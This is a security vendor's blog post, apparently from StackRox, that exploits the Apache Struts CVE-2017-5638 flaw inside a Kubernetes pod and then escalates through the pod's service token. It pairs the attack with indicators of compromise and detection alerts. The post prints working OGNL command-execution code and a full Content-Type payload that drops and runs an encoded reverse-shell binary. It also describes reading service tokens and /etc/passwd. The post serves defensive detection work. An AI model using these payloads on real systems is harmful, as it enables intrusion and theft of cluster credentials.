There has never been a better time to be a DevOps engineer. Compared to traditional web stacks, containerization has dramatically streamlined the task of deploying web services such as databases, key/value stores, and servers. Furthermore, container orchestration tools, like Google’s Kubernetes and Docker Swarm, enable organizations to automate the deployment and management of these containerized applications. But the tools that make life easier and more efficient for engineers can also be a gift to an attacker.
Regardless of the initial exploitation vector, an attacker’s first objective is often to gain host-level access to a target system. With that access, an attacker can leverage the system for a variety of malicious purposes – to exfiltrate data, to maintain a point of presence, to move to higher-value assets in a network, etc. As containerized applications become the new standard for modern web development, DevOps and security teams still find themselves in a precarious position: attackers are creative, and where there’s a will, there’s a way.
In this blog, we demonstrate exploitation techniques that can be used to measure the efficacy of a container security product. We explore the exploitation of a vulnerability in a widely-used web server, and show how containerization of this application minimizes the attack surface. Despite mitigation of host-level access via containerization, we also demonstrate how a misconfigured container orchestrator can be used to give an attacker the “keys to the kingdom” and enable full control of a production container cluster. At each stage, we outline the indicators of compromise (IOCs) that can be used to detect these attacks and show that security must be embedded at all levels of the software development lifecycle – including runtime detection.
The Vulnerable Application
Apache Struts
Apache Struts is a popular Java framework for building web applications because it is built on the well known JVM platform and supports a wide variety of useful plugins and extensions. In March 2017, a vulnerability was disclosed in the Apache Struts parser that allowed an attacker to remotely execute code on a victim server. Many security researchers have explored and discussed this vulnerability, partly because it was a particularly bad bug in a mainstream framework, but also because it caused colossal data loss at Equifax. Struts is a popular web application to run in a containerized environment and parser code is a common location to find vulnerabilities.
Apache Struts application version 2.3.x before 2.3.32
and 2.5.x before 2.5.10.1
had an issue with Jakarta MultiParser’s exception handling code. If an exception is generated during Content-Type parsing, it tries to include the invalid data as part of the error message. But, instead of displaying the error message, it parses and executes the Object Graph Navigation Library (OGNL) expression.
Here’s the relevant code that contains the vulnerability and the fix:
The bug is in findText, which — according to the documentation — finds a localized text message for a given key (i.e. aTextName), but evaluates both the key and the message.
public static String findText(Class aClass,
String aTextName,
Locale locale,
String defaultMessage,
Object[] args)
If a message is found, anything within ${…} will be treated as an OGNL expression and evaluated as such. An attacker can exploit this vulnerability by sending crafted HTTP requests with a malicious payload as shown below.
def **execute_command**(cmd)
ognl = ''
ognl << %Q|(#cmd=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{@data_header}')).|
# You can add headers to the server's response for debugging with this:
#ognl << %q|(#r=#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']).|
#ognl << %q|(#r.addHeader('decoded',#cmd)).|
ognl << %q|(#os=@java.lang.System@getProperty('os.name')).|
ognl << %q|(#cmds=(#os.toLowerCase().contains('win')?{'cmd.exe','/c',#cmd}:{'/bin/sh','-c',#cmd})).|
ognl << %q|(#p=new java.lang.ProcessBuilder(#cmds)).|
ognl << %q|(#p.redirectErrorStream(true)).|
ognl << %q|(#process=#p.start())|
send_struts_request(ognl, extra_header: cmd)
end
**FIGURE 1:** [**CVE-2017-5638 **](HTTPS://CVE.MITRE.ORG/CGI-BIN/CVENAME.CGI?NAME=CVE-2017-5638)[**EXPLOIT**](HTTPS://GITHUB.COM/RAPID7/METASPLOIT-FRAMEWORK/BLOB/MASTER/MODULES/EXPLOITS/MULTI/HTTP/STRUTS2_CONTENT_TYPE_OGNL.RB) **THROUGH CONTENT-TYPE HEADER**
As shown in figure 2 below, when we examine the HTTP request using Wireshark, the content type contains the payload that will ultimately execute a command on the victim’s machine.
Content-Type:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-RnXx')).(#f=@java.io.File@createTempFile('KLny','.exe')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#fos=new java.io.FileOutputStream(#f)).(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()).(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete())},application/x-www-form-urlencoded X-Rnxx:f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA9wAAAAAAAAB2AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4W2oKQVlWUGopWJlqAl9qAV4PBUiFwHhESJdIuQIAEVwNTql3UUiJ5moQWmoqWA8FSIXAeRtJ/8l0ImojWGoAagVIiedIMfYPBUiFwHm36wxZXloPBUiFwHgC/+ZqPFhqAV8PBQ==\]
**_FIGURE 2: APACHE STRUTS EXPLOIT PAYLOAD_**
There are two known vulnerabilities for Apache Struts. One is the exception handling that is shown above; the other one is the unsafe deserialization of user data by the XStream XML REST plugin.
Not so secure – even in a container
A benefit to running applications in containers is that they allow us to package a specific version of software and run it anywhere. Container runtimes are built with isolation in mind. Security is improved by placing each container in a process, user and network namespace. These benefits do not, however, prevent attackers from exploiting the vulnerable application running inside of a container.
For example, applications running inside a container may be able to mount sensitive directories from the host. We show how access to sensitive directories can be used for exploitation in the next section. Furthermore, without user namespaces enabled in the container runtime engine, applications will be given root privileges unless care is taken to drop privileges and run them as a non-root user. In other words, if attackers manage to exploit a vulnerability, they can modify the host filesystem, or execute arbitrary commands if the container is misconfigured without following best practices. Practical tips for securing containerized applications include enabling AppArmor and Seccomp, as well as minimizing namespace leakage. We’ve outlined some of these tips in a previous blog.
How to Launch an Exploit Against Apache Struts
Exploit setup
We deployed a web application with a vulnerable version of Apache Struts 2 (packaged as Docker image piesecurity/apache-struts2-cve-2017-5638) on a Kubernetes cluster. The deployment/service YAML file is shown in figure 3. The application can be launched using _kubectl create -f <yaml file name>_
. This brings up the web application serving on port 8080.
apiVersion: v1
kind: Service
metadata:
name: struts2
labels:
service: struts2
spec:
ports:
- port: 8080
selector:
service: struts2
tier: frontend
type: LoadBalancer
---
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
name: struts2
labels:
service: struts2
app: struts2
spec:
replicas: 1
template:
metadata:
labels:
service: struts2
tier: frontend
spec:
containers:
- image: piesecurity/apache-struts2-cve-2017-5638
name: struts2
ports:
- containerPort: 8080
name: web
**_FIGURE 3: APACHE STRUTS KUBERNETES DEPLOYMENT YAML_**
**FIGURE 4: WEB APPLICATION USING A VULNERABLE VERSION OF APACHE STRUTS**
To exploit the vulnerability, we used a Metasploit module called multi/http/struts2_content_type_ognl. The module sends a crafted HTTP payload to exploit the vulnerability. We also established a reverse shell back to our attack host using a staged reverse TCP shell payload.
Exploit session
Here is a Metasploit session showing the exploit.
How to Detect the Attack
Application logs
2018-01-14 23:43:40,618 WARN (org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest:60) - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context\['com.opensymphony.xwork2.ActionContext.container'\]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#data=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-RCgj')).(#f=@java.io.File@createTempFile('oBKX','.exe')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#fos=new java.io.FileOutputStream(#f)).(#d=new sun.misc.BASE64Decoder().decodeBuffer(#data)).(#fos.write(#d)).(#fos.close()).(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete())}
at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:908)
at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:331)
at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:351)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:189)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127)
at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92)
at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:81)
at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:779)
at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:134)
at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:79)
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:218)
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:110)
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:506)
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:169)
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:103)
at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:962)
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:445)
at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1115)
at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:637)
at org.apache.tomcat.util.net.AprEndpoint$SocketWithOptionsProcessor.run(AprEndpoint.java:2486)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:745)
**FIGURE 5: APACHE STRUTS CONTAINER LOGS SHOWING THE EXCEPTION**
Indicators of Compromise (IOCs)
- Network
This exploit works by sending a crafted HTTP Content-Type header. The Content-Type typically contains the code to execute on the remote vulnerable application. - File System
The exploit payload could vary from a simple shell command to a binary written to the file system and then executed. - Process
If the payload executes a binary, it will spawn a process. We should see unusual processes executing inps aux
ortop
output. - Network
There could be attempts to open a reverse shell which typically opens a port never used before. - Docker
Docker container logs could show warnings/ errors when exceptions are encountered as shown in figure 5.
Exploiting Kubernetes to Break out of the Container
Once an attacker gains a foothold on the victim machine, there are many ways he can target the orchestrator in a Kubernetes cluster by obtaining the API secret token, as described by Google’s Greg Castle in his excellent talk.
Following our Apache Struts exploit, we can establish a reverse shell in the victim container. In Kubernetes, every pod has access to API server service token key via the /var/run/secrets/ path. Once we have the service token, we can make any API request on the victim’s Kubernetes cluster. Without RBAC configured on the cluster, this is easy to do.
Here’s a session showing the cluster compromise:
**FIGURE 6: KUBERNETES CLUSTER BEING COMPROMISED**
For this demo, we uploaded the kubectl binary to the victim’s pod. Once we have the kubectl binary and the service token, we could run any command on the victim’s kubernetes cluster.
Indicators of Compromise (IOCs)
- File System
Reading of the Kubernetes service token by an unknown process. Writing unknown files to the file system. Changing permissions on a file. - Process
Launching a shell/unknown process and using the kubectl binary inside the pod. - Orchestrator
Launching a unknown service or terminating services.
Automating Detection
**FIGURE 7: TIMELINE OF EVENTS DURING THE ATTACK**
In order to detect these anomalies, we need to correlate network traffic, file system, process activity and orchestrator events. As one can imagine, these require analyzing system calls and orchestrator events at a large scale. Analyzing and correlating system calls for a specific service is a complex problem. It involves looking and filtering millions of system calls, orchestrator events, host signals etc. Not to mention the problem of correlating them. There are solutions that involve looking at only network traffic or system activity. However, very few solutions look at all these signals and correlate them in a meaningful manner.
StackRox Detected Events and Alerts
The StackRox Kubernetes Security Platform detects IOCs without requiring the user to configure complex rules. It also features a powerful policy engine that stitches together event bread crumbs into chronological attack sequences, sparing security professionals many man-hours of crafting rules or trying understand intricate, low-level details about the system.
A number of events that correspond to the attack are detected by StackRox. An analyst can get a sense of the entire timeline of the attack by looking at the events from a particular container. Some of the events that were detected when we tried the exploit were as follows:
Container was launched without any seccomp profile
. This refers to the container with the Apache Struts application.- When the HTTP request with the payload is processed, there is a
Code injection attempt via HTTP Content-type
. - Once the payload is executed, we see a process called
“/usr/local/tomcat/temp/sRcz596082110440608704.exe”
being launched by user“root”
, a condition which had never been seen before. - A network connection on
port 4444
is detected being contacted on victim’s machine. This was the port we set in Metasploit for establishing reverse shell. - The payload then invokes the shell process -
/bin/sh
. At this point, the attacker has a shell on the victim’s machine, and the session is being sent back on port 4444 back to attacker’s machine. - After the reverse shell session is established, we see all the commands being executed by the attacker, e.g.
whoami
,id\*,\*
andcat /etc/passwd
commands. These are surfaced asAnomalous Process Launch
.
We’ve seen how StackRox detects all the events related to this attack out of the box. It also provides a robust policy engine that combines these events and summarizes them in a meaningful way. Furthermore, once an exploit pattern is recognized by an analyst, he can create a custom policy to detect future occurrences of such attacks.
Creating a policy in StackRox is simple and intuitive. StackRox ships with policies built around known malicious patterns of activity. Analysts can glean concise information from alerts. They can drill down to investigate what events triggered those alerts to see which container and service were affected.
Conclusions
Measuring the efficacy of a security product is hard. It involves testing the product against real vulnerabilities. Detecting the right security events with high confidence and automating these to make sense is a huge factor in making the life of a security analyst easy.
Many security vendors provide a rule-based detection solution. Users are forced to create rules or signatures to detect compromises. But rules are prone to error and are not robust, not to mention the human effort it takes to understand exploits and come up with rules. StackRox offers algorithmic based automatic anomaly detection without users having to write a ton of rules. For some static based detection, it also offers users the ability to configure rules. It offers a hybrid strategy that works well in many attack scenarios.
About the author
Browse by channel
Automation
The latest on IT automation for tech, teams, and environments
Artificial intelligence
Updates on the platforms that free customers to run AI workloads anywhere
Open hybrid cloud
Explore how we build a more flexible future with hybrid cloud
Security
The latest on how we reduce risks across environments and technologies
Edge computing
Updates on the platforms that simplify operations at the edge
Infrastructure
The latest on the world’s leading enterprise Linux platform
Applications
Inside our solutions to the toughest application challenges
Original shows
Entertaining stories from the makers and leaders in enterprise tech
Products
- Red Hat Enterprise Linux
- Red Hat OpenShift
- Red Hat Ansible Automation Platform
- Cloud services
- See all products
Tools
- Training and certification
- My account
- Customer support
- Developer resources
- Find a partner
- Red Hat Ecosystem Catalog
- Red Hat value calculator
- Documentation
Try, buy, & sell
Communicate
About Red Hat
We’re the world’s leading provider of enterprise open source solutions—including Linux, cloud, container, and Kubernetes. We deliver hardened solutions that make it easier for enterprises to work across platforms and environments, from the core datacenter to the network edge.
Select a language
Red Hat legal and privacy links
- About Red Hat
- Jobs
- Events
- Locations
- Contact Red Hat
- Red Hat Blog
- Diversity, equity, and inclusion
- Cool Stuff Store
- Red Hat Summit